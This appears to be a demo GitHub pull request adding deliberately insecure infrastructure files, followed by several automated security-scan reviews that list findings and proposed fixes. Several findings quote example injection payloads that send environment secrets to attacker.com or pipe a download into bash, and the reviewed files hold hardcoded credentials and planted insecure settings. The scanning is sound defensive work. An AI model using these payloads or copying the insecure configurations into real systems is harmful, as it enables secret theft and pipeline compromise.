Test - Add production infrastructure configuration#2
Conversation
Terraform, Kubernetes, Docker, and CI/CD pipeline for the production API deployment. Made-with: Cursor
There was a problem hiding this comment.
IaC Security Scan 🔴 CRITICAL
The infrastructure contains multiple critical security flaws, including command injection vulnerabilities in CI/CD, hardcoded administrative credentials for AWS and databases, and highly insecure Kubernetes configurations (privileged containers and host networking). Additionally, cloud resources are exposed to the public internet with encryption disabled.
| Severity | Count |
|---|---|
| 🔴 Critical | 3 |
| 🟠 High | 4 |
Powered by IaC Security Scanner + Gemini
Detailed Findings
.github/workflows/deploy.yml L12
🔴 [CRITICAL] GA001: Script injection via untrusted context
The PR title and branch name are directly interpolated into a shell command. An attacker can craft a PR title like 'test"; curl http://attacker.com/$(env | base64) #' to execute arbitrary code and steal secrets.
Risk: CI/CD pipelines often have access to high-privilege secrets (AWS keys, Docker Hub tokens). Command injection here leads to full supply chain compromise.
Suggested fix ✅ verified:
- name: Log PR info
env:
PR_TITLE: ${{ github.event.pull_request.title }}
PR_REF: ${{ github.event.pull_request.head.ref }}
run: |
echo "Deploying PR: $PR_TITLE"
echo "Author: $PR_REF"
Using environment variables instead of direct interpolation prevents the shell from interpreting the content of the variables as executable code.
demo-infra/Dockerfile L5
🔴 [CRITICAL] DF009: Hardcoded secrets in Dockerfile
The Dockerfile contains hardcoded AWS credentials and database connection strings with passwords.
Risk: Docker layers are cached and stored in registries. Anyone with pull access to the image can retrieve these credentials using 'docker history'.
Suggested fix ✅ verified:
ENV DATABASE_URL=""
ENV AWS_SECRET_ACCESS_KEY=""
Remove hardcoded secrets. These should be injected at runtime via Kubernetes Secrets or an IAM role for service accounts (IRSA).
demo-infra/k8s-deployment.yaml L20
🔴 [CRITICAL] K8S003: Privileged container
The container is running with 'privileged: true', which provides it with nearly all the same capabilities as the host machine's root user.
Risk: If the application is compromised, the attacker can easily escape the container and take full control of the underlying Kubernetes node.
Suggested fix ✅ verified:
securityContext:
privileged: false
runAsNonRoot: true
allowPrivilegeEscalation: false
Disabling privileged mode and preventing privilege escalation follows the principle of least privilege.
demo-infra/k8s-deployment.yaml L16
🟠 [HIGH] K8S008: Host network enabled
The pod is configured with 'hostNetwork: true', allowing it to see all network traffic on the host node.
Risk: This bypasses network isolation and allows the pod to access loopback services on the host, increasing the lateral movement potential.
Suggested fix ✅ verified:
hostNetwork: false
Standard pods should use the CNI network overlay rather than the host's network namespace.
demo-infra/main.tf L32
🟠 [HIGH] TF004: Public S3 Bucket
The S3 bucket is configured with 'public-read' ACL.
Risk: This makes all data in the bucket accessible to the public internet without authentication, a common cause of major data breaches.
Suggested fix ✅ verified:
resource "aws_s3_bucket" "data" {
bucket = "company-data-bucket"
}
resource "aws_s3_bucket_acl" "data_acl" {
bucket = aws_s3_bucket.data.id
acl = "private"
}
Buckets should be private by default. Access should be granted via IAM policies or CloudFront OAI.
demo-infra/main.tf L21
🟠 [HIGH] TF005: Publicly accessible RDS
The RDS instance is set to 'publicly_accessible = true' and has encryption disabled.
Risk: Exposing a database to the internet increases the risk of brute-force attacks. Lack of encryption at rest means data is vulnerable if the physical storage is compromised.
Suggested fix ✅ verified:
resource "aws_db_instance" "production" {
engine = "postgres"
instance_class = "db.t3.medium"
password = var.db_password
publicly_accessible = false
storage_encrypted = true
}
Databases should reside in private subnets and have encryption enabled at rest.
demo-infra/main.tf L9
🟠 [HIGH] TF001: Open ingress CIDR 0.0.0.0/0
The security group allows all TCP traffic from any IP address on all ports (0-65535).
Risk: This exposes every service running on the instance (including SSH and DB) to the entire internet.
Suggested fix ✅ verified:
ingress {
from_port = 443
to_port = 443
protocol = "tcp"
cidr_blocks = ["10.0.0.0/8"]
}
Restrict ingress to specific ports (e.g., 443) and known internal CIDR blocks or specific load balancer security groups.
Applied via Polaris one-click auto-fix from scan #33.
There was a problem hiding this comment.
IaC Security Scan 🔴 CRITICAL
The infrastructure changes contain multiple critical security vulnerabilities. Most notably, the CI/CD pipeline is vulnerable to remote command injection, and the container/infrastructure definitions leak production credentials, enable privileged access to host systems, and expose data publicly via S3. Immediate remediation is required before merging.
| Severity | Count |
|---|---|
| 🔴 Critical | 3 |
| 🟠 High | 3 |
⚠️ Some proposed patches require revision before applying.
Powered by IaC Security Scanner + Gemini
|
|
||
| - name: Log PR info | ||
| run: | | ||
| echo "Deploying PR: ${{ github.event.pull_request.title }}" |
There was a problem hiding this comment.
🔴 [CRITICAL] GA001: Script injection via untrusted context
The PR title and branch name are directly interpolated into a shell command. An attacker can name a PR something like '; curl http://attacker.com/$(env | base64)' to execute arbitrary code in the CI environment.
Risk: This allows an external contributor to steal CI secrets (like AWS keys or Docker Hub tokens) or modify the build artifacts.
Suggested fix ✅ verified:
- name: Log PR info
env:
PR_TITLE: ${{ github.event.pull_request.title }}
PR_REF: ${{ github.event.pull_request.head.ref }}
run: |
echo "Deploying PR: $PR_TITLE"
echo "Author: $PR_REF"
Using environment variables instead of direct interpolation prevents the shell from interpreting the content of the variables as commands.
|
|
||
| RUN curl -fsSL https://install.example.com/setup.sh | bash | ||
|
|
||
| ENV DATABASE_URL=postgres://admin:password123@db.internal:5432/prod |
There was a problem hiding this comment.
🔴 [CRITICAL] SEC001: Hardcoded credentials in Dockerfile
The Dockerfile contains hardcoded database credentials and AWS Secret Access Keys.
Risk: Anyone with access to the Docker image (including developers or registry users) can retrieve these secrets. These secrets are baked into the image layers and are difficult to rotate.
Suggested fix ✅ verified:
ENV DATABASE_URL=""
ENV AWS_SECRET_ACCESS_KEY=""
Remove hardcoded secrets. Use runtime secret injection via Kubernetes Secrets, AWS Secrets Manager, or environment variables provided at container startup.
| containers: | ||
| - name: api | ||
| image: mycompany/api:latest | ||
| securityContext: |
There was a problem hiding this comment.
🔴 [CRITICAL] K8S003: Privileged container and HostNetwork
The container is configured with 'privileged: true' and 'hostNetwork: true'.
Risk: A privileged container has nearly all the same access as the host machine's root user. Combined with 'hostNetwork', an attacker who compromises the API can sniff traffic on the node, access local loopback services, and potentially escape to the host node.
Suggested fix ❌ rejected:
spec:
hostNetwork: false
containers:
- name: api
securityContext:
privileged: false
runAsNonRoot: true
allowPrivilegeEscalation: false
Disable privileged mode and host networking. Enforce non-root execution to follow the principle of least privilege.
Reviewer notes:
- The patch is destructive: it replaces the container definition instead of updating it, removing required fields like 'image'.
- The resulting manifest is invalid as it lacks the mandatory 'image' field for the container.
- The patch removes 'ports' and 'env' configurations, which will break the application's functionality.
| resource "aws_s3_bucket" "data" { | ||
| bucket = "company-data-bucket" | ||
| acl = "public-read" | ||
| } |
There was a problem hiding this comment.
🟠 [HIGH] TF002: Public S3 Bucket
The S3 bucket is configured with 'public-read' ACL.
Risk: This makes all data in the bucket accessible to the public internet without authentication, leading to potential data breaches.
Suggested fix ✅ verified:
resource "aws_s3_bucket" "data" {
bucket = "company-data-bucket"
}
resource "aws_s3_bucket_acl" "data_acl" {
bucket = aws_s3_bucket.data.id
acl = "private"
}
Set the bucket ACL to 'private' and use IAM policies or CloudFront OAI for controlled access.
| description = "Allow all inbound traffic" | ||
|
|
||
| ingress { | ||
| from_port = 0 |
There was a problem hiding this comment.
🟠 [HIGH] TF001: Overly permissive Security Group
The security group allows all TCP traffic (ports 0-65535) from any IP address (0.0.0.0/0).
Risk: This exposes all services running on the instance (including SSH, DBs, and internal APIs) to the entire internet, significantly increasing the attack surface.
Suggested fix ✅ verified:
ingress {
from_port = 443
to_port = 443
protocol = "tcp"
cidr_blocks = ["10.0.0.0/8"] # Example: Restrict to internal VPC
}
Restrict ingress to only the specific ports required (e.g., 443) and limit the source CIDR to known, trusted ranges.
| } | ||
|
|
||
| variable "db_password" { | ||
| default = "SuperSecret123!" |
There was a problem hiding this comment.
🟠 [HIGH] TF003: Hardcoded password in Terraform variable
The 'db_password' variable has a default value containing a plaintext secret.
Risk: Terraform state files will store this password in plaintext. Anyone with access to the state file or the source code can compromise the production database.
Suggested fix ✅ verified:
variable "db_password" {
type = string
sensitive = true
}
Remove the default value and mark the variable as sensitive. Pass the value at runtime via environment variables (TF_VAR_db_password) or a secrets manager.
Applied via Polaris one-click auto-fix from scan #33.
There was a problem hiding this comment.
IaC Security Scan 🔴 CRITICAL
The pull request contains multiple critical security vulnerabilities. The most severe is a command injection vulnerability in the GitHub Actions workflow that allows any user capable of opening a PR to execute arbitrary code in the CI environment. Additionally, the PR introduces hardcoded secrets in Docker and Kubernetes configurations, exposes a public S3 bucket, and configures a wide-open security group. The combination of these issues represents a high probability of compromise and significant data exposure.
| Severity | Count |
|---|---|
| 🔴 Critical | 2 |
| 🟠 High | 3 |
| 🟡 Medium | 1 |
⚠️ Some proposed patches require revision before applying.
Powered by IaC Security Scanner + Gemini
|
|
||
| - name: Log PR info | ||
| run: | | ||
| echo "Deploying PR: ${{ github.event.pull_request.title }}" |
There was a problem hiding this comment.
🔴 [CRITICAL] GA001: Script injection via untrusted context
The PR title is directly interpolated into a shell command. An attacker can name a PR something like 'test"; curl http://attacker.com/malware | bash; echo "' to execute arbitrary code.
Risk: This allows an external attacker to steal CI secrets (like AWS credentials or Docker Hub tokens) and compromise the build pipeline.
Suggested fix
- name: Log PR info
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Deploying PR: $PR_TITLE"
Using environment variables instead of direct string interpolation ensures the shell treats the input as data rather than executable code.
Reviewer notes:
- The patch removes the 'Author' log line, which breaks existing functionality.
- The 'github.event.pull_request.head.ref' context in the removed line is also a script injection vector and should be handled with an environment variable rather than being deleted.
| RUN curl -fsSL https://install.example.com/setup.sh | bash | ||
|
|
||
| ENV DATABASE_URL=postgres://admin:password123@db.internal:5432/prod | ||
| ENV AWS_SECRET_ACCESS_KEY=AKIAIOSFODNN7EXAMPLE |
There was a problem hiding this comment.
🔴 [CRITICAL] SEC001: Hardcoded secrets in Dockerfile
The Dockerfile contains a hardcoded AWS Secret Access Key and a production database URL with credentials.
Risk: Docker layers are cached and often shared. Anyone with access to the image can extract these credentials using 'docker history'.
Suggested fix
ENV DATABASE_URL=""
ENV AWS_SECRET_ACCESS_KEY=""
Remove hardcoded secrets from the Dockerfile. Use runtime environment variables or a secret management service (like AWS Secrets Manager) to inject these values at execution time.
Reviewer notes:
- Setting AWS_SECRET_ACCESS_KEY to an empty string can interfere with the AWS SDK's credential lookup chain, potentially preventing it from falling back to IAM roles or other providers.
- It is generally better practice to remove the ENV lines entirely rather than setting them to empty strings, as empty strings are still considered 'set' in many environments.
| } | ||
|
|
||
| resource "aws_s3_bucket" "data" { | ||
| bucket = "company-data-bucket" |
There was a problem hiding this comment.
🟠 [HIGH] TF002: Public S3 Bucket ACL
The S3 bucket is configured with 'public-read' access.
Risk: This makes all files uploaded to the bucket publicly accessible to anyone on the internet, leading to potential data leaks.
Suggested fix ✅ verified:
resource "aws_s3_bucket" "data" {
bucket = "company-data-bucket"
acl = "private"
}
Changing the ACL to 'private' ensures that only authorized IAM identities can access the data.
| app: api | ||
| spec: | ||
| hostNetwork: true | ||
| containers: |
There was a problem hiding this comment.
🟠 [HIGH] K8S001: Host network enabled
The deployment uses 'hostNetwork: true'.
Risk: This allows the container to access the host's network stack, potentially sniffing traffic from other pods on the same node and bypassing network policies.
Suggested fix ✅ verified:
hostNetwork: false
Disabling hostNetwork isolates the pod's networking from the underlying node.
| name = "web-sg" | ||
| description = "Allow all inbound traffic" | ||
|
|
||
| ingress { |
There was a problem hiding this comment.
🟠 [HIGH] TF001: Open ingress CIDR 0.0.0.0/0
The security group allows TCP traffic on all ports (0-65535) from any IP address.
Risk: This exposes all services running on the instance (including SSH and DB) to the entire internet, significantly increasing the attack surface for brute-force and exploit attempts.
Suggested fix ✅ verified:
ingress {
from_port = 443
to_port = 443
protocol = "tcp"
cidr_blocks = ["10.0.0.0/8"]
}
Restrict ingress to specific necessary ports (e.g., 443) and limit the source CIDR to known internal or trusted ranges.
| runAsNonRoot: true | ||
| allowPrivilegeEscalation: false | ||
| runAsRoot: true | ||
| ports: |
There was a problem hiding this comment.
🟡 [MEDIUM] K8S002: Inconsistent security context
The configuration contains 'runAsRoot: true' (mis-indented) while also claiming 'runAsNonRoot: true'.
Risk: Running containers as root allows an attacker who escapes the application to have full control over the container and potentially the host.
Suggested fix
securityContext:
privileged: false
runAsNonRoot: true
allowPrivilegeEscalation: false
Remove the 'runAsRoot' directive and ensure the container is forced to run as a non-privileged user.
Reviewer notes:
- The proposed patch replaces a single line of a mis-indented block with a full securityContext header and properties, which will result in invalid YAML due to duplication and incorrect nesting.
- The entire securityContext block, along with ports and env, is currently at the root level (column 0) instead of being nested under the container spec. The patch does not fix this structural issue.
- Because of the indentation error, the securityContext is not actually applied to the container, leaving the vulnerability effectively unpatched.
Applied via Polaris one-click auto-fix from scan #33.
There was a problem hiding this comment.
IaC Security Scan 🔴 CRITICAL
The pull request introduces multiple critical security vulnerabilities. The most severe include a command injection vulnerability in the CI/CD pipeline, hardcoded production credentials in the Dockerfile and Kubernetes manifests, and dangerous infrastructure configurations such as 'hostNetwork: true' and wide-open security groups. These issues collectively allow for remote code execution, credential theft, and lateral movement within the cluster.
| Severity | Count |
|---|---|
| 🔴 Critical | 2 |
| 🟠 High | 4 |
| 🟡 Medium | 2 |
Powered by IaC Security Scanner + Gemini
Detailed Findings
.github/workflows/deploy.yml L12
🔴 [CRITICAL] GA001: Script injection via untrusted context
The PR title is directly interpolated into a shell command. An attacker can name a PR something like "; curl http://attacker.com/exfil?data=$(env | base64) # to execute arbitrary code in the CI runner.
Risk: CI/CD runners often have access to sensitive secrets (AWS keys, Docker Hub tokens). Compromise here leads to a full supply chain breach.
Suggested fix ✅ verified:
- name: Log PR info
env:
PR_TITLE: ${{ github.event.pull_request.title }}
HEAD_REF: ${{ github.event.pull_request.head.ref }}
run: |
echo "Deploying PR: $PR_TITLE"
echo "Author: $HEAD_REF"
By mapping the untrusted context to environment variables, the shell treats them as data rather than executable code, neutralizing the injection vector.
demo-infra/Dockerfile L5
🔴 [CRITICAL] DF009: Hardcoded secrets in environment variables
The Dockerfile contains hardcoded AWS credentials and database connection strings with passwords.
Risk: Environment variables defined in a Dockerfile are baked into the image layers. Anyone with access to the image (e.g., via a container registry) can retrieve these secrets using 'docker inspect'.
Suggested fix ✅ verified:
REMOVE lines 5 and 6. Use Kubernetes Secrets or an AWS IAM Role for Service Accounts (IRSA) to provide credentials at runtime.
Secrets should never be stored in the image. Use runtime secret injection or identity-based access control.
demo-infra/k8s-deployment.yaml L18
🟠 [HIGH] K8S001: hostNetwork enabled
Setting 'hostNetwork: true' allows the pod to share the host's network namespace.
Risk: A compromised container can sniff traffic from other pods on the same node, access loopback services on the host, and bypass network policies.
Suggested fix ✅ verified:
hostNetwork: false
Disabling hostNetwork ensures the pod is isolated within the Kubernetes SDN (Software Defined Network).
demo-infra/main.tf L9
🟠 [HIGH] TF001: Open ingress CIDR 0.0.0.0/0
The security group allows inbound TCP traffic on all ports (0-65535) from any IP address.
Risk: This exposes all services running on the instance (including SSH and the database) to the public internet, inviting brute-force and exploit attempts.
Suggested fix ✅ verified:
ingress {
from_port = 443
to_port = 443
protocol = "tcp"
cidr_blocks = ["10.0.0.0/8"] # Or specific trusted CIDRs
}
Apply the principle of least privilege by only opening necessary ports to known, trusted IP ranges.
demo-infra/k8s-deployment.yaml L31
🟠 [HIGH] K8S002: Hardcoded secret in environment
The database password is hardcoded in the deployment manifest.
Risk: Hardcoded secrets in manifests are often committed to version control, exposing them to anyone with repository access.
Suggested fix ✅ verified:
env:
- name: DB_PASSWORD
valueFrom:
secretKeyRef:
name: db-secrets
key: password
Use Kubernetes Secret objects to manage sensitive data and reference them in the deployment.
demo-infra/Dockerfile L3
🟠 [HIGH] DF005: Piping remote script into shell
Downloading and immediately executing a script from the internet via curl | bash is highly risky.
Risk: If the example.com domain is compromised or the connection is intercepted, an attacker can execute malicious code on your build server.
Suggested fix ✅ verified:
RUN curl -fsSL -o setup.sh https://install.example.com/setup.sh && \
echo "<expected-hash> setup.sh" | sha256sum -c - && \
bash setup.sh && rm setup.sh
Always verify the integrity of remote scripts using a checksum before execution.
demo-infra/main.tf L14
🟡 [MEDIUM] TF002: Hardcoded password in variable default
The 'db_password' variable has a default value containing a plaintext password.
Risk: Default values in Terraform are often checked into Git. This password will be used for the production database unless overridden.
Suggested fix ✅ verified:
variable "db_password" {
type = string
sensitive = true
}
Remove the default value and mark the variable as sensitive. Pass the value via a secure TF_VAR or a secret manager.
demo-infra/Dockerfile L1
🟡 [MEDIUM] DF001: FROM uses :latest tag
Using the 'latest' tag for base images leads to non-deterministic builds.
Risk: A new version of the base image could break your application or introduce new vulnerabilities without changes to your code.
Suggested fix ✅ verified:
FROM node:18.17.1-slim@sha256:0f33794abd48e75f5ca113f7395b0304f1f0d89930478178c81da7c6ca9a363d
Pinning to a specific version and SHA256 digest ensures build reproducibility and security.
Applied via Polaris one-click auto-fix from scan #37.
Applied via Polaris one-click auto-fix from scan #37.
There was a problem hiding this comment.
IaC Security Scan 🔴 CRITICAL
The infrastructure contains multiple critical vulnerabilities, including remote command execution (RCE) in CI/CD pipelines, hardcoded cloud credentials in Docker images, and dangerous Kubernetes configurations (hostNetwork). Immediate remediation is required before merging.
| Severity | Count |
|---|---|
| 🔴 Critical | 2 |
| 🟠 High | 3 |
| 🟡 Medium | 1 |
Powered by IaC Security Scanner + Gemini
Detailed Findings
.github/workflows/deploy.yml L12
🔴 [CRITICAL] GA001: Script injection via untrusted context
The PR title and head ref are interpolated directly into a shell script. An attacker can name a PR something like '; curl http://attacker.com/exfil; #', which will execute arbitrary code on the GitHub runner.
Risk: This allows an external contributor to steal secrets (GITHUB_TOKEN, AWS keys) or compromise the build process.
Suggested fix ✅ verified:
- name: Log PR info
env:
PR_TITLE: ${{ github.event.pull_request.title }}
PR_REF: ${{ github.event.pull_request.head.ref }}
run: |
echo "Deploying PR: $PR_TITLE"
echo "Author: $PR_REF"
Using environment variables instead of direct interpolation prevents the shell from interpreting the content as executable code.
demo-infra/Dockerfile L6
🔴 [CRITICAL] DF007: Hardcoded secrets in Dockerfile
The Dockerfile contains a hardcoded AWS_SECRET_ACCESS_KEY and a database connection string with credentials.
Risk: Secrets embedded in Docker images are visible to anyone with access to the image registry and are stored in the image layer history forever.
Suggested fix ✅ verified:
ENV DATABASE_URL=""
ENV AWS_SECRET_ACCESS_KEY=""
Remove hardcoded secrets. These should be injected at runtime via Kubernetes Secrets or an IAM role for service accounts (IRSA).
demo-infra/k8s-deployment.yaml L18
🟠 [HIGH] K8S001: hostNetwork enabled
Setting hostNetwork: true allows the pod to share the host's network namespace.
Risk: A compromised container could sniff traffic on the node, access loopback services on the host, and bypass network policies.
Suggested fix ✅ verified:
hostNetwork: false
Disable hostNetwork to ensure the pod is isolated within the Kubernetes network overlay.
demo-infra/k8s-deployment.yaml L36
🟠 [HIGH] K8S002: Hardcoded secret in environment
The environment variable DB_PASSWORD has a hardcoded 'value' field despite also having a 'valueFrom' field.
Risk: Hardcoded secrets in YAML files are often committed to version control, leading to credential exposure.
Suggested fix ✅ verified:
- name: DB_PASSWORD
valueFrom:
secretKeyRef:
name: db-secrets
key: password
Remove the hardcoded 'value' key and rely exclusively on the Secret reference.
demo-infra/main.tf L13
🟡 [MEDIUM] TF001: Hardcoded default password
The db_password variable has a default value set in plain text.
Risk: Default values in Terraform variables are often checked into source control, exposing production database credentials.
Suggested fix ✅ verified:
variable "db_password" {
type = string
sensitive = true
}
Remove the default value and mark the variable as sensitive to prevent it from being logged in the console.
demo-infra/Dockerfile L3
🟠 [HIGH] DF005: Piping remote script into shell
The Dockerfile downloads and executes a script from a remote URL without integrity verification.
Risk: If the domain or the script is compromised, an attacker can execute arbitrary code during the image build process.
Suggested fix ✅ verified:
RUN curl -fsSL https://install.example.com/setup.sh -o setup.sh && \
echo "<expected-hash> setup.sh" | sha256sum -c - && \
bash setup.sh
Download the script to a file and verify its checksum before execution.
Reviewer notes:
- The patch uses a placeholder '' which must be replaced with the actual checksum of the script.
Applied via Polaris one-click auto-fix from scan #39.
There was a problem hiding this comment.
IaC Security Scan 🔴 CRITICAL
The infrastructure changes contain multiple critical security vulnerabilities. The most severe is a command injection vulnerability in the GitHub Actions workflow that allows any contributor to execute arbitrary code in the CI environment. Additionally, hardcoded production credentials were found in the Dockerfile, Kubernetes manifests, and Terraform variables, which would lead to immediate compromise of the database and AWS environment if merged.
| Severity | Count |
|---|---|
| 🔴 Critical | 3 |
| 🟠 High | 3 |
| 🟡 Medium | 2 |
⚠️ Some proposed patches require revision before applying.
Powered by IaC Security Scanner + Gemini
|
|
||
| - name: Log PR info | ||
| run: | | ||
| echo "Deploying PR: ${{ github.event.pull_request.title }}" |
There was a problem hiding this comment.
🔴 [CRITICAL] GA001: Script injection via untrusted context
Expression ${{ github.event.pull_request.title }} is interpolated directly into a shell command. An attacker can create a PR with a title like "; curl http://attacker.com/$(env | base64) # to exfiltrate secrets or execute commands.
Risk: The GitHub Actions runner has access to GITHUB_TOKEN and potentially other secrets. Command injection allows an attacker to take over the CI/CD pipeline.
Suggested fix ✅ verified:
- name: Log PR info
env:
PR_TITLE: ${{ github.event.pull_request.title }}
HEAD_REF: ${{ github.event.pull_request.head.ref }}
run: |
echo "Deploying PR: $PR_TITLE"
echo "Author: $HEAD_REF"
By mapping the untrusted context to environment variables, the shell treats them as data rather than executable code, preventing injection.
|
|
||
| RUN curl -fsSL https://install.example.com/setup.sh | bash | ||
|
|
||
| ENV DATABASE_URL=postgres://admin:password123@db.internal:5432/prod |
There was a problem hiding this comment.
🔴 [CRITICAL] DF009: Hardcoded secrets in Dockerfile
The Dockerfile contains hardcoded DATABASE_URL and AWS_SECRET_ACCESS_KEY. These secrets are baked into the image layers and are visible to anyone with access to the image.
Risk: Hardcoded credentials in images are permanent. Even if the container is deleted, the secrets remain in the image registry history.
Suggested fix ✅ verified:
ENV DATABASE_URL=""
ENV AWS_SECRET_ACCESS_KEY=""
Remove hardcoded secrets. Use Kubernetes Secrets or AWS IAM Roles for Service Accounts (IRSA) to provide credentials at runtime.
| secretKeyRef: | ||
| name: db-secrets | ||
| key: password | ||
| secretKeyRef: |
There was a problem hiding this comment.
🔴 [CRITICAL] K8S002: Hardcoded secret in manifest
A hardcoded secret 'hardcoded-secret-123' is assigned to an environment variable in the Kubernetes manifest.
Risk: Manifests are often stored in version control. Hardcoding secrets exposes them to anyone with repository access and violates the principle of separation of configuration and secrets.
Suggested fix ❌ rejected:
- name: DB_PASSWORD
valueFrom:
secretKeyRef:
name: db-secrets
key: password
Reference a Kubernetes Secret object instead of hardcoding the value directly in the deployment spec.
Reviewer notes:
- The original manifest is syntactically invalid YAML with multiple structural errors.
- The patch indentation (12 spaces) does not match the original file's indentation for the 'env' block (0 spaces).
- The 'env' block is located at the root level of the YAML, which is invalid for a Kubernetes Deployment.
- The line numbers in the finding do not correspond correctly to the provided file content.
| spec: | ||
| hostNetwork: true | ||
| containers: | ||
| - name: api |
There was a problem hiding this comment.
🟠 [HIGH] K8S001: Host network enabled
The pod is configured with hostNetwork: true, which allows it to share the network namespace of the host node.
Risk: This allows the pod to listen on host ports, sniff traffic of other pods on the same node, and bypass network policies. It is a significant security risk in multi-tenant clusters.
Suggested fix ❌ rejected:
hostNetwork: false
Disable host networking to isolate the pod's network traffic within the Kubernetes SDN.
Reviewer notes:
- The original manifest is syntactically invalid.
- The line numbers in the finding do not correspond correctly to the provided file content.
- Applying a patch to a malformed manifest is unsafe as it does not result in a deployable configuration.
| } | ||
| } | ||
|
|
||
| variable "db_password" { |
There was a problem hiding this comment.
🟠 [HIGH] TF001: Hardcoded default password
The Terraform variable 'db_password' has a hardcoded default value.
Risk: If this variable is not overridden, the production database will be deployed with a known, static password stored in plain text in the codebase.
Suggested fix ✅ verified:
variable "db_password" {
type = string
sensitive = true
}
Remove the default value and mark the variable as sensitive. Pass the value via a secure tfvars file or environment variable at runtime.
| @@ -0,0 +1,14 @@ | |||
| FROM node:latest | |||
|
|
|||
| RUN curl -fsSL https://install.example.com/setup.sh | bash | |||
There was a problem hiding this comment.
🟠 [HIGH] DF005: Piping remote script into shell
The Dockerfile downloads and executes a script from a remote URL without verification.
Risk: If the domain or the script is compromised, an attacker can execute arbitrary code during the image build process, potentially compromising the build server.
Suggested fix
RUN curl -fsSL -o setup.sh https://install.example.com/setup.sh && \
echo "expected_hash_here setup.sh" | sha256sum -c - && \
bash setup.sh
Download the script to a file and verify its SHA256 checksum before execution to ensure integrity.
Reviewer notes:
- The patch is incomplete as it uses a placeholder 'expected_hash_here' for the checksum verification. This will cause the build to fail and does not provide actual security until a real hash is provided.
| ENV DATABASE_URL=postgres://admin:password123@db.internal:5432/prod | ||
| ENV AWS_SECRET_ACCESS_KEY=AKIAIOSFODNN7EXAMPLE | ||
|
|
||
| EXPOSE 22 3000 5432 |
There was a problem hiding this comment.
🟡 [MEDIUM] DF006: SSH port 22 exposed
The Dockerfile exposes port 22 (SSH).
Risk: Containers should be managed via orchestrator exec commands (e.g., kubectl exec). Running SSH inside a container increases the attack surface and management overhead.
Suggested fix ✅ verified:
EXPOSE 3000 5432
Remove port 22 from the EXPOSE directive and ensure no SSH daemon is running in the container.
| deploy: | ||
| runs-on: ubuntu-latest | ||
| steps: | ||
| - uses: actions/checkout@v3 |
There was a problem hiding this comment.
🟡 [MEDIUM] GA004: Action not pinned to full SHA
The workflow uses actions/checkout@v3, which is a mutable tag.
Risk: Tags can be moved by the maintainer. Pinning to a specific commit SHA ensures that the code you run in CI cannot be changed without your knowledge.
Suggested fix ✅ verified:
- uses: actions/checkout@f43a0e5ff2bd294095638e18286ca9a3d1956744 # v3.6.0
Pin the action to a specific immutable commit SHA to prevent supply chain attacks via tag floating.
Applied via Polaris one-click auto-fix from scan #40.
There was a problem hiding this comment.
IaC Security Scan 🔴 CRITICAL
The pull request introduces critical security vulnerabilities, most notably command injection in GitHub Actions which allows for full CI/CD environment compromise. Additionally, the Kubernetes configuration enables host networking and contains hardcoded secrets, significantly increasing the risk of lateral movement and data exposure.
| Severity | Count |
|---|---|
| 🔴 Critical | 1 |
| 🟠 High | 4 |
| 🟡 Medium | 2 |
⚠️ Some proposed patches require revision before applying.
Powered by IaC Security Scanner + Gemini
|
|
||
| - name: Log PR info | ||
| run: | | ||
| echo "Deploying PR: ${{ github.event.pull_request.title }}" |
There was a problem hiding this comment.
🔴 [CRITICAL] GA001: Script injection via untrusted context
The PR title and branch name are interpolated directly into the shell script, allowing an attacker to execute arbitrary commands by naming a PR or branch with shell metacharacters.
Risk: Threat: Remote Code Execution (RCE) in CI. Impact: An attacker can steal repository secrets (AWS keys, GitHub tokens) or compromise the build pipeline.
Suggested fix ✅ verified:
@@ -11,6 +11,9 @@
- uses: actions/checkout@v4
- name: Log PR info
+ env:
+ PR_TITLE: ${{ github.event.pull_request.title }}
+ PR_REF: ${{ github.event.pull_request.head.ref }}
run: |
- echo "Deploying PR: ${{ github.event.pull_request.title }}"
- echo "Author branch: ${{ github.event.pull_request.head.ref }}"
+ echo "Deploying PR: $PR_TITLE"
+ echo "Author branch: $PR_REF"
Map untrusted context expressions to environment variables instead of interpolating them directly into the script block.
| spec: | ||
| hostNetwork: true | ||
| containers: | ||
| - name: api |
There was a problem hiding this comment.
🟠 [HIGH] K8S001: Host network enabled
The deployment uses 'hostNetwork: true', which allows the pod to share the host's network namespace.
Risk: Threat: Lateral movement and sniffing. Impact: The pod can access loopback services on the node and sniff traffic from other pods on the same host.
Suggested fix ✅ verified:
@@ -15,7 +15,7 @@
labels:
app: api
spec:
- hostNetwork: true
+ hostNetwork: false
containers:
- name: api
Disable host networking to isolate the pod's network namespace from the underlying node.
| name: db-secrets | ||
| key: password | ||
| secretKeyRef: | ||
| name: db-secrets |
There was a problem hiding this comment.
🟠 [HIGH] K8S002: Hardcoded secret in environment
A sensitive credential 'hardcoded-secret-123' is defined directly in the YAML manifest.
Risk: Threat: Credential theft. Impact: Secrets stored in plaintext in version control are accessible to anyone with read access to the repository.
Suggested fix ✅ verified:
@@ -32,4 +32,3 @@
- secretKeyRef:
- name: db-secrets
- key: password
- value: "hardcoded-secret-123"
Remove the hardcoded value and ensure the environment variable only references a Kubernetes Secret object.
| } | ||
|
|
||
| variable "db_password" { | ||
| default = "SuperSecret123!" |
There was a problem hiding this comment.
🟠 [HIGH] TF001: Hardcoded sensitive variable default
The 'db_password' variable has a plaintext default value in the Terraform configuration.
Risk: Threat: Infrastructure compromise. Impact: Hardcoded database passwords lead to unauthorized data access and are difficult to rotate.
Suggested fix ✅ verified:
@@ -12,3 +12,4 @@
variable "db_password" {
- default = "SuperSecret123!"
+ type = string
+ sensitive = true
}
Remove the default value and mark the variable as sensitive to prevent it from being logged in the console.
| @@ -0,0 +1,14 @@ | |||
| FROM node:latest | |||
|
|
|||
| RUN curl -fsSL https://install.example.com/setup.sh | bash | |||
There was a problem hiding this comment.
🟠 [HIGH] DF005: Piping remote script into shell
The Dockerfile downloads and executes a script from a remote URL without integrity verification.
Risk: Threat: Supply chain attack. Impact: If the remote domain is compromised, an attacker can inject malicious code into the container image during build time.
Suggested fix ❌ rejected:
@@ -1,4 +1,6 @@
FROM node:20-slim
-RUN curl -fsSL https://install.example.com/setup.sh | bash
+RUN curl -fsSL -o setup.sh https://install.example.com/setup.sh \
+ && echo "expected_hash setup.sh" | sha256sum -c - \
+ && bash setup.sh
Download the script to a file and verify its checksum before execution, or use a trusted base image that includes the dependency.
Reviewer notes:
- The patch uses a placeholder 'expected_hash' which will cause the Docker build to fail.
- The patch modifies the base image version from 'latest' to '20-slim', which is unrelated to the reported vulnerability.
| ENV DATABASE_URL="" | ||
| ENV AWS_SECRET_ACCESS_KEY="" | ||
|
|
||
| EXPOSE 22 3000 5432 |
There was a problem hiding this comment.
